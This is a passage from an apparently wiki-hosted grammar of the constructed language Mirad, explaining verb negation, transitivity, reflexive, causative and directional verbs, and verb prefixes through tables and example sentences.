: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
